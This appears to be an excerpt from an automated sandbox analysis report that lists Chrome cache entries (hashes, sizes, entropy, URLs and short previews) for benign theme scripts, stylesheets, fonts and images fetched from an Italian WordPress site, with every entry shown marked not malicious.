Preview:	.PNG........IHDR..............0\|T..F.IDATx..[l\G..Gq[.j..-.......Q.b....:.=.K.6@#KP..U.!(B&!..i......j.B.$>g...%.(.u..H.T.....P5q..gw......H.b;.b.....f...d.....3C.....B..W.Y..o....c..>k..M$x..L....x"...@..>..N.\..}o>'...Z.=.bd.[c..g.w.9~......!....<E......!....QCd...#_..w.....r7.>...U..?....u...[G.....wG4....+....X...-.R>.,z:.X.X....c.B%60u).._...g.:......._.[...N...t-.)S.J.g<...:.3.Dv.........T..z.#..y_PL......~.nv.k...Z.#...G..^.D..k...jS..m....Ti.J........e _..j.,3j..."..4....#.!sSZ@....RS.K..1.~..d.t.Ra.........T7....L..RK4].....h....\...L./....Q...o.Y-...9.EF.].;!.NS.9.e3..!.2....U..T.'.....%c..IC2.....W.S...v?...MP.{[..7&...t.....p.........V.NF5..J....+5=n%..?T..$.....GK...&..-....3:'(.........}...-...zv2...m.T..V.R.d.Z.......a~.G.xz....M..KT...P....7......X..h<}.d..`.NU;>}\|^0k#"S1..^.i..3L.r.9\|Os.......S..>V.;.xy4..d...*.Z.\|f.pKL.....:.........=.~....;z..n...M.D1.OMC2.L..Sc..f..G.Y..L.&..h&.hX.}m..XW....P.zU..&.....d ..+.i.h.u&B......r....

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1782
Entropy (8bit):	4.907881383550967
Encrypted:	false
SSDEEP:	24:oZYZ3m5KnG2yj/iyiiGibYeX/QiDjhgGo2mUGbvybQbcNZe/oYYIXJiWGrjLVWw1:g/mxyziypbKckyQ8ZeVPGfH/9
MD5:	3C711BE05B8B99FF511929A32A65FF4E
SHA1:	471AE4F8052AE9BC6528E7BE1DD57D3461C01F9F
SHA-256:	D7C9B8D74BF2D734B1215CA56D81F9BED8DD251405A99D406C44E27FC6C9D2EA
SHA-512:	EAA1ADDD6239859003A10D33B7CABF4420B2DBD5DEE3BF0DD4E1C201F301860A6E471B519763ED0B58B28AE39F91DD49A02120FA733A805A337E039C139C1580
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// .// AVIA Magazine function for magazine sorting.// .// -------------------------------------------------------------------------------------------.(function($).{ .."use strict";....var animating = false,...methods = {......switchMag: function(clicked, _self)...{....var current ..= $(clicked)........if(current.is('.active_sort') \|\| animating) return;........var filter...= current.data('filter'),.....oldContainer.= _self.container.filter(':visible'),.....newContainer.= _self.container.filter('.' + filter);........//switch Class....animating = true;...._self.sort_buttons.removeClass('active_sort');....current.addClass('active_sort');........//apply fixed heiht for transition...._self.magazine.height(_self.magazine.outerHeight());........//switch items....oldContainer.avia_animate({opacity:0}, 200, function()....{.....oldContainer.css({display:'none'});.....newContainer.css({opacity:0, display

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2080
Entropy (8bit):	4.748470821267847
Encrypted:	false
SSDEEP:	48:4L9E2Q8Zgwl4TtWYWUP+QzQlitVUkeVPW:4GIgwl4pfWU2RsVUkeo
MD5:	0DCEDA7E2D57833B75D29EE61E5AF2A5
SHA1:	49587E7720FB374F01A3F69E22641A33E2958E66
SHA-256:	E6B9CEDB6592510EE8F3A5824D1C6F758165211EA1FDF85042C0B0DA9DF34AED
SHA-512:	87FADCBA1F71710AEDCC17A2752E1C990EF599F3EB756913D1BA139130C50FE681FAFC088A9DBCC890EFE3591C27A65CD854C1674E8BDDC30CB453C7AD1C2A5A
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// .// AVIA Player.// .// -------------------------------------------------------------------------------------------.(function($).{ .."use strict";....var autostarted = false,...container = null,.....monitorStart = function( container )....{.....var play_pause.= container.find('.av-player-player-container .mejs-playpause-button');..........if( play_pause.length == 0 ).....{......setTimeout( function(){........monitorStart( container );.......}, 200 );.....}..........if( ! play_pause.hasClass('mejs-pause') ).....{......play_pause.trigger( 'click' );.....}.........};....$.fn.aviaPlayer = function( options )..{....if( ! this.length ) return; ....return this.each(function()...{....var _self ...= {};........_self.container..= $( this );...._self.stopLoop..= false;........_self.container.find('audio').on('play', function() {..........if( _self.stopLoop )..........{...........this.pause();.........

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15660)
Category:	downloaded
Size (bytes):	18617
Entropy (8bit):	4.746740754378132
Encrypted:	false
SSDEEP:	384:Unb0kcuPTb9Uh31//bEP+XgA1N9CleffJmp3:Ub0/U9Uh31//YWXgAJffC3
MD5:	32BEB68A374E3AEAC00ABDF9E12B84EA
SHA1:	B5D18AA625E8696DD9D07CD0869337717B211AE0
SHA-256:	5AAD5FBD4238981A9FF5E2772FF1353DFE1A801FB49542FE157418C1438F7782
SHA-512:	8FC41038B4DC2FC2465422FB3144B71C2ACD2F4552607369314FEC9B7F561B7A3919CDC4219DF2089395241168FFBFE29E67DDDA834E66C27E4C88066C8F4496
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-includes/js/wp-emoji-release.min.js?ver=6.0.9
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return b(d);return b(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,a){return o(d,function(d){var u,f,c=d,e=x(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,n),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,n,r,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a]

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	17988
Entropy (8bit):	4.967401517041867
Encrypted:	false
SSDEEP:	384:zwhscXdDm9Galm4qUpQvThkvPwSvv4vlZkFOKcRQg:mseDiGalm4V2vTC3wSn4vlZkFOhR5
MD5:	4AEE9C2F018EF30AFC795F8038728804
SHA1:	EE68C8F30FC49789DE9A2ECD6FB1B794A52A506D
SHA-256:	D716B65133B33AB2C4A37DA86151428DFB741AAF62FB6637C6923B8B972C4AE7
SHA-512:	19EBBD58936E419F0085857645EB0FD1A67D3DDBDACC2E9E80105824174D171E8A2CA6E0138BB0CB9E52EEE8D3D20ADB0EF0019E47F173FD003937C97DF819C2
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Masonry Grid.====================================================================================================================================================== */...av-masonry{.position: relative;.overflow: hidden;.clear:both;.}...av-masonry-container{.width:100.4%;.float:left;.clear:both;.position: relative;.}...av-masonry-entry{.position: relative;.display: block;.width:24.90%;.float:left;.clear: none;.text-decoration: none;.visibility: hidden;.opacity: 0;.}..#top .masonry-no-border{border-top:none;}...av-masonry-entry.av-landscape-img{.width:49.80%;.}....av-masonry-col-2 .av-masonry-entry{width:49.80%;}..av-masonry-col-2 .av-masonry-entry.av-landscape-img{width:99.50%;}...av-masonry-col-3 .av-masonry-entry{width:33.3%}..av-masonry-col-3 .av-masonry-entry.av-landscape-img{width:66.6%}...av-masonry-col-4 .av-masonry-entry{}..av-m

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5625
Entropy (8bit):	4.878273363741113
Encrypted:	false
SSDEEP:	96:wnrW+bBUZafeWmSip+GWRRc5Zor5ZJkf1Cr6HWVwer:wC2UZafeWg+GWQmJkCr6C
MD5:	186D34DB6D4ACC17DC4E66BEE448BAD3
SHA1:	76592404E604D0C90496D56372825A7EE725A1E6
SHA-256:	080705ED953BE6AD5A5F2E37205DD7A45EE534D68A193479235DB9DAB459B0FB
SHA-512:	1DF76EFE5C250251850194B7BA944540EBA250DEC60E56B430EA0E8B4DC1E5469ACEAA3FADB2A8973A0D65783AE094F32FC10015F89E81CDD1884403AD4BEF38
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// Fullscreen Slideshow .// .// extends avia slideshow script with a more sophisticated preloader and fixed size for slider.// -------------------------------------------------------------------------------------------..(function($).{. "use strict";...$.AviaFullscreenSlider = function(options, slider)..{.. this.$slider .= $( slider ); .. this.$inner. .= this.$slider.find('.avia-slideshow-inner');.. this.$innerLi.= this.$inner.find('>li');.. this.$caption .= this.$inner.find('.avia-slide-wrap .caption_container');.. this.$win. .= $( window );.. this.isMobile .= $.avia_utilities.isMobile;.. this.property .= {};.. this.scrollPos.= "0";.. this.transform3d= document.documentElement.className.indexOf('avia_transform3d') !== -1 ? true : false;.. this.ticking .= false; .. .. .. if($.avia_utilities.supported.transition === undefined)...{....$.avia_utiliti

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 74, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	28207
Entropy (8bit):	5.4008387140017
Encrypted:	false
SSDEEP:	384:/JN9NvO3tT508SkWARqtMJEOJaFekr3jhVe5Wz:BN9Nv4t2hkP6OwZ3jhh
MD5:	E6B2EFBE08AD337A88FC61DB5A933523
SHA1:	5DCA2862DD84D3F699EBC0DB5123A1852D2752CB
SHA-256:	9D212738DCE90AC9B477D86929CA0FA08B4453EB7AB9868E24040B3200612A29
SHA-512:	D1B67DEC88C1EA0C71567849EC9C2106C34831AE24D8C2B16A8F6E83F361B64A5BDDE62EFBCAC71198CE7F12EA5AAA47A85B4EFAE4CC9178A5391617064BD8F1
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2019/06/3.png
Preview:	.PNG........IHDR...K...J.....\|p>.....pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	614
Entropy (8bit):	4.966361742203004
Encrypted:	false
SSDEEP:	12:9gGJJvPVimIt8zEaOWmlU1VwNcTXVElHLQmfKoMijyAvV+Y3XnTNfXmDH:999VimItHaOWX1GcTXCEz2ywXnpfOH
MD5:	9F0550AA2AF3E92B68101D207A65F9DD
SHA1:	DA64F09724EBA9F2EE89FFAFBA588625574CD7E2
SHA-256:	3CF7C0660C3BC7472D44B915CB0315D4E34D616AB229DFD3CEB7AECB2BDC5B1D
SHA-512:	92260F5B392C4FB13D7ECD162D48BE12C60E7E430CF0C2386472CA460565CDB30967F3DCFB9FA91F5B0CB29C5395826883EBC38054CDC2C877AEED9CB3334389
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.js?ver=4.5
Preview:	.(function($).{.. "use strict";....$(document).ready(function()..{. .../*... Remove Themes duplicated language switcher flags from Burger menu... ..- exist in secondary menu... ..- exist beside search icon... */...$('body').on( 'avia_burger_list_created', '.av-burger-menu-main a', function(){....var s = $(this);.........//.allow DOM to build....setTimeout(function(){.....var switchers = s.closest('.avia-menu.av-main-nav-wrap').find('.av-burger-overlay').find('.language_flag');.....switchers.each( function(){........$(this).closest('li').remove();......});.....}, 200);...});..});.....})( jQuery );.

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1252
Entropy (8bit):	4.473635870451384
Encrypted:	false
SSDEEP:	24:lmlqlADyM91w31nd9QBHPUOzedXFgz6I5BsTEEEaPeC:4lCA+C16d9QBHPUPdX3I5cmC
MD5:	73432D98D2FDC996AB54405886D3C2FB
SHA1:	B885B6FB83B2C0369617C01548D6A8771DB55F33
SHA-256:	10C8050275A788952F68E6FF1AB42F63A6C1D2D0FD2C9CCAFE5F2964F980C78E
SHA-512:	CE4BC743F57EFA91327A2061D79637A22F81AF02DD17428C0D2CF0410A83D83BBB26FADCA093CFBC48CB93015096509E61CA50DF1911C58E225BD99387438B1B
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_share/social_share.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Share Box.====================================================================================================================================================== */...av-share-box{width:100%; clear:both; float:left; font-size: 13px; margin-top:30px; margin-bottom:-50px; padding:0;}..av-share-box .av-share-link-description{margin-bottom: 20px;}.#top .av-share-box ul{margin:0; padding:0; list-style-type: none; overflow: hidden; border-style: solid; border-width: 1px; display: table; width:100%; text-align: center; table-layout: fixed; border-radius: 3px; background: transparent; }..av-share-box ul li{margin:0; padding:0; display: table-cell; border-left-style: solid; border-left-width:1px;}..av-share-box ul li:first-child{border:none;}..av-share-box ul li a{ display:block; padding:15px 0; text-decoration: none; color: inherit; font-size:

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1222 x 630, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1154939
Entropy (8bit):	7.994249005289387
Encrypted:	true
SSDEEP:	24576:c8DSUtnAe2ZXyEUKmz+seDswaYnUjKTPVlUw0Rokwe0xCAvok7r0:c8X52UKm+nDs4UGTj+WReSr0
MD5:	C4FEE7CC5FCC8374EEC1346D5039BCB2
SHA1:	EDA5C05F49067283691F7C1895A4586078562A14
SHA-256:	C0A28F129EB09E57E7A1030459A3304BEEE49258324A11F6522517D6C5A6EF7A
SHA-512:	162362389A1D06755A02C6A255664BA39665FBBFF200C89B74B924E28593A9C48F26A1BDB91CDD44915633CA29EA9263C8E8538458F6A549DFF908CAB2ED29D5
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-1222x630.png
Preview:	.PNG........IHDR.......v.............IDATx..Y.&[r..-...g..;.[.P..@....d.h&S.M.6.......,..d&....ZjC..h.. .bF.5.............,^.E..<...;.v_..9.....B..........(.......~.......QU...g.^S....y.a@....3.[....{!.L....P..e..?._..O....Z......__...K......]d..t....D5.>...>L.3^Ce~...WU...v...k..=..ko.>..../..6..+_..`.X.V.i......7....[...^.H..%Pi..>....}.....^..{..._h..g.m.L.O....nk#...._.x.$.......j{..-.x...Z..O..)...}...ul..D).".X..+E.{.......?~i.g.>.....=..p..d..n;.z........^.QJ.0...........}JUQ.B.Q..Z...#.......D...\[;Edz.DPtZg.u.^.k.H.0...L.x..:}n(...#E......V...V..$.>........e(.J..K.vA..G.........A..H..Z..tm*.{L./.....L"i."=..g./.I....z&.......9y_...W:.U..[..\;..%.}.....]{......=.......V..Uk..P.......s(.5)e..".}.84l...j.\.....]..2=.eZ...i?P....Y\c.....Um.y....C.E.i...4..2.v.~?.t1 ".5.._..e{=.x#.Ge......B.....{..`.YA.....w..o....n.o..._........7........~..~.....xz....].......i...+Q.....U.{.~F.....~>m-..@.N....6k.EWU...hK..N...L{..{.g....

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11409
Entropy (8bit):	4.883982385160355
Encrypted:	false
SSDEEP:	192:mLvIhQIf7L7qyxhkqOLwU+BMCSdipHbh/sHW2t:d7YwU14CWK
MD5:	3C24FA8B7479769FC1CCC5F77BE95B66
SHA1:	3DF5C8561476B3EBE2338334D0E0AA14A8EADE82
SHA-256:	A3B3A5A471B2D41CF340D47E3BBE21E481FDC3A15D5E838309596877832723A1
SHA-512:	6E3AB9D45A6A7A3161B45E62F5633DBA069C6919AD84E4BE15E8153231BEB83C11382911A68826E61A8B21031970D0455FBE70A9C4CF7D413CB05A93DFF1B622
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// Avia AJAX Portfolio.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";..$.avia_utilities = $.avia_utilities \|\| {};......// -------------------------------------------------------------------------------------------..//Portfolio sorting..// -------------------------------------------------------------------------------------------.. $.fn.avia_iso_sort = function(options)..{...return this.each(function()...{....var the_body..= $('body'),.....container..= $(this),.....portfolio_id.= container.data('portfolio-id'),.....parentContainer.= container.parents('.entry-content-wrapper, .avia-fullwidth-portfolio'),.....filter...= parentContainer.find('.sort_width_container[data-portfolio-id="' + portfolio_id + '"]').find('#js_sort_items').css({visibility:"visible", opacity:0}),.....links...= filter.find('a'),.....imgParent.

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7868
Entropy (8bit):	5.466903100422613
Encrypted:	false
SSDEEP:	192:czJMqnHCPCYMCar5QkAZ6p/dp4qp0npu3pe/v4i09uNk:c5iKOY5ntdqqunGAAv5
MD5:	94F736A0E1933EDB22FAF1A6E78F6953
SHA1:	33110EC3100ACF7EC69EB4F5EAC2C1299324717F
SHA-256:	7F28CEEFD9A37226662E8D81B528E18B475E71EE6FB222814AE5C6A4D91F2895
SHA-512:	C5457CD2A523B715CF3974536FF5D400F1C4C57B003E162B41B80DBAA5CFC4D5C6707AA0C9DBEBD6D253EFDB9D4234A4069CFF878AB0E573E296B4AB1B4A2D2F
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?display=swap&family=Raleway:wght@100;500&family=Dosis:wght@500&family=Dancing+Script&family=Fjalla+One
Preview:	/* vietnamese /.@font-face {. font-family: 'Dancing Script';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/dancingscript/v25/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSo3Rep8ltA.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext /.@font-face {. font-family: 'Dancing Script';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/dancingscript/v25/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSo3ROp8ltA.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Dancing Script';. font-style: normal;. font-weight

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2497
Entropy (8bit):	4.843621206511125
Encrypted:	false
SSDEEP:	48:EB+VRkUlcs7bFfAeJLyfrlyQMMKXiFvJ+JemNpSDYi6R:EBeqyckbFoceJyQuX+hapSkrR
MD5:	A0B3B46931A88E9397C2E22AD93460AC
SHA1:	92169E8FA68C8EC06EB571EA4A89D22D5E604E70
SHA-256:	F3BE56D8AC58697106341FFE67BABAAFB18D3E6A2FAD673E9D4FE8347AB01195
SHA-512:	F657EF638F00648C94BA40D71597FF27064ADD39EB8B411C1266C7774A20B9DFA5C9566D0B8D3626D13526A2E8402A3A7E121D6A8525965C2244B0D1CF1A2744
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.js?ver=6.0.9
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// Gallery shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_gallery = function(options)..{...return this.each(function()...{....var gallery = $(this), images = gallery.find('img'), big_prev = gallery.find('.avia-gallery-big');........//trigger displaying of thumbnails....gallery.on('avia_start_animation', function()....{.....images.each(function(i).....{......var image = $(this);......setTimeout(function(){ image.addClass('avia_start_animation') }, (i * 110));.....});....});........if(gallery.hasClass('deactivate_avia_lazyload')) gallery.trigger('avia_start_animation');......//trigger thumbnail hover and big prev image change....if(big_prev.length)....{.....gallery.on('mouseenter','.avia-gallery-thumb a', function().....{......var _self = this;........big_prev.attr('data-oncl

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1222 x 630, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1154939
Entropy (8bit):	7.994249005289387
Encrypted:	true
SSDEEP:	24576:c8DSUtnAe2ZXyEUKmz+seDswaYnUjKTPVlUw0Rokwe0xCAvok7r0:c8X52UKm+nDs4UGTj+WReSr0
MD5:	C4FEE7CC5FCC8374EEC1346D5039BCB2
SHA1:	EDA5C05F49067283691F7C1895A4586078562A14
SHA-256:	C0A28F129EB09E57E7A1030459A3304BEEE49258324A11F6522517D6C5A6EF7A
SHA-512:	162362389A1D06755A02C6A255664BA39665FBBFF200C89B74B924E28593A9C48F26A1BDB91CDD44915633CA29EA9263C8E8538458F6A549DFF908CAB2ED29D5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......v.............IDATx..Y.&[r..-...g..;.[.P..@....d.h&S.M.6.......,..d&....ZjC..h.. .bF.5.............,^.E..<...;.v_..9.....B..........(.......~.......QU...g.^S....y.a@....3.[....{!.L....P..e..?._..O....Z......__...K......]d..t....D5.>...>L.3^Ce~...WU...v...k..=..ko.>..../..6..+_..`.X.V.i......7....[...^.H..%Pi..>....}.....^..{..._h..g.m.L.O....nk#...._.x.$.......j{..-.x...Z..O..)...}...ul..D).".X..+E.{.......?~i.g.>.....=..p..d..n;.z........^.QJ.0...........}JUQ.B.Q..Z...#.......D...\[;Edz.DPtZg.u.^.k.H.0...L.x..:}n(...#E......V...V..$.>........e(.J..K.vA..G.........A..H..Z..tm*.{L./.....L"i."=..g./.I....z&.......9y_...W:.U..[..\;..%.}.....]{......=.......V..Uk..P.......s(.5)e..".}.84l...j.\.....]..2=.eZ...i?P....Y\c.....Um.y....C.E.i...4..2.v.~?.t1 ".5.._..e{=.x#.Ge......B.....{..`.YA.....w..o....n.o..._........7........~..~.....xz....].......i...+Q.....U.{.~F.....~>m-..@.N....6k.EWU...hK..N...L{..{.g....

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7718
Entropy (8bit):	5.325025374288068
Encrypted:	false
SSDEEP:	96:y5z9Mwaa9thN9E9mBNpEpmY7NTFETFmTbyw9dSEeEOvSxexO/SrXADerXADOrXJn:Ap1Tj
MD5:	52841883BF30CD08C45DBFDD0CB68D22
SHA1:	81F9EACAAD32839B2FB1D8312A21FF173D4C35E0
SHA-256:	C358F663FCD1449E211B160F68AEC5E6801BA95DD08255D29D2815A05CD80A21
SHA-512:	105837CAEBDBD36AA68F60FAEF63166456ADDC1E9262B76474B8219665AF11533CA527C32F41428767E0070229C009A357A8F22423D1320EF5695CCE16E71C0F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Progress Bar.====================================================================================================================================================== */..avia-progress-bar-container{margin: 15px 0; clear:both;}..avia-progress-bar{position: relative; margin-bottom:4px;}..avia-progress-bar .progressbar-title-wrap {.position: absolute;.z-index: 2;.bottom: 3px;.left: 3px;.color: white;.background: black;.background: rgba(0, 0, 0, 0.5);.padding: 1px 10px 2px 10px;.border-radius: 3px;.line-height: 21px;.}..progressbar-icon{float:left;margin-right:5px;}..icon-bar-no .progressbar-icon{display:none;}..progressbar-title{float:left;}..avia-progress-bar .progress{width:100%; height:30px; line-height: 30px; position: relative; border-radius: 3px; overflow: hidden;.box-shadow: inset 0px 0px 15px 0px rgba(0, 0, 0, 0.07);.}..#top .avia-

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2717
Entropy (8bit):	4.838210252869189
Encrypted:	false
SSDEEP:	48:HscTPfCveCf5EfIQ624+TR1sJ9l6ja9k4yDA9d6kJmI8Y:HfTivIam1yYGFp2Y
MD5:	80A0FA2CF547E1606BC84512ACD3CF9F
SHA1:	34C75C93C017463394ED90823A1B2953F5103762
SHA-256:	A9D48461F7979E1008843762ECBDA5C84701EB23504C16235A1D939F2CEF7B4E
SHA-512:	F534408A98C2767932650E7E3CDA9B097FF217C029E145DB9DEB701AEFB413592B505A55AEB875389659705DFE1AB5E60463C66A42F69958394E6C8B5776AFC0
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contentslider/contentslider.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Partner/Logo Slider + Content Slider.====================================================================================================================================================== /../shared styles*/.#top .avia-smallarrow-slider {position: relative; overflow: visible;}.#top .avia-smallarrow-slider .avia-slideshow-arrows {position: relative; width:51px; top:-3px; left:0; height: 24px;}.#top .avia-smallarrow-slider .avia-slideshow-arrows a{opacity: 1; margin:0; width:24px; height:24px; line-height: 25px; font-size: 10px; top:0;}.#top .avia-smallarrow-slider .avia-slideshow-arrows a:hover{opacity: 0.5;}.#top .avia-smallarrow-slider .avia-slideshow-arrows a:before{line-height: 25px; border-radius: 1px;}.#top .avia-smallarrow-slider .slide-image, #top .avia-logo-element-container img{margin:0 auto; display: block; width:aut

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5651
Entropy (8bit):	5.0226623981085785
Encrypted:	false
SSDEEP:	96:7ZS7CyVhKmW+RLHKjaqaEK6a6KKjlKacRCcq0XP4CcMsn4:7ZS7CAfbLqA4s/RCiP4CcMsn4
MD5:	31233D1BEBA5D4FC51C8420D400B64A7
SHA1:	67F0F7E55596A5C45443EBC8C33184C84487F29B
SHA-256:	E9CB274CB6C6BD4D215C727A9098EB7CA09C0421A954A9297D104A7801C30503
SHA-512:	C5C47D971EC1AEFFB994862A2C5A4659BEA7C9C47137381DC648867788517E4B9ADA5503FBC145C4A8D2037C9802056546C3FC8292AC66C1396F9D59D0388853
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullsize/slideshow_fullsize.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Slideshow Fullwidth.====================================================================================================================================================== /..avia-slideshow-inner li{.-webkit-transform-style: preserve-3d; /fixes flickering issue when slider moves. usually other elements in other container flicker */.}....avia-fullwidth-slider {.border-top-style: solid;.border-top-width:1px;.z-index: 1;.}...avia-fullwidth-slider.avia-builder-el-0{border-top:none;}..div.slider-not-first, .html_header_transparency #top .avia-builder-el-0{border-top:none;}...avia-slide-wrap{.position: relative;.display: block;.}...avia-slide-wrap>p{margin:0; padding:0;}..av_slideshow_full.avia-slideshow{margin:0;}.#top .av_slideshow_full.av-control-default .avia-slideshow-arrows a{.margin:-50px 0 0 0;.width:35px;.text-align: center;.heigh

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	11896
Entropy (8bit):	5.048802108316265
Encrypted:	false
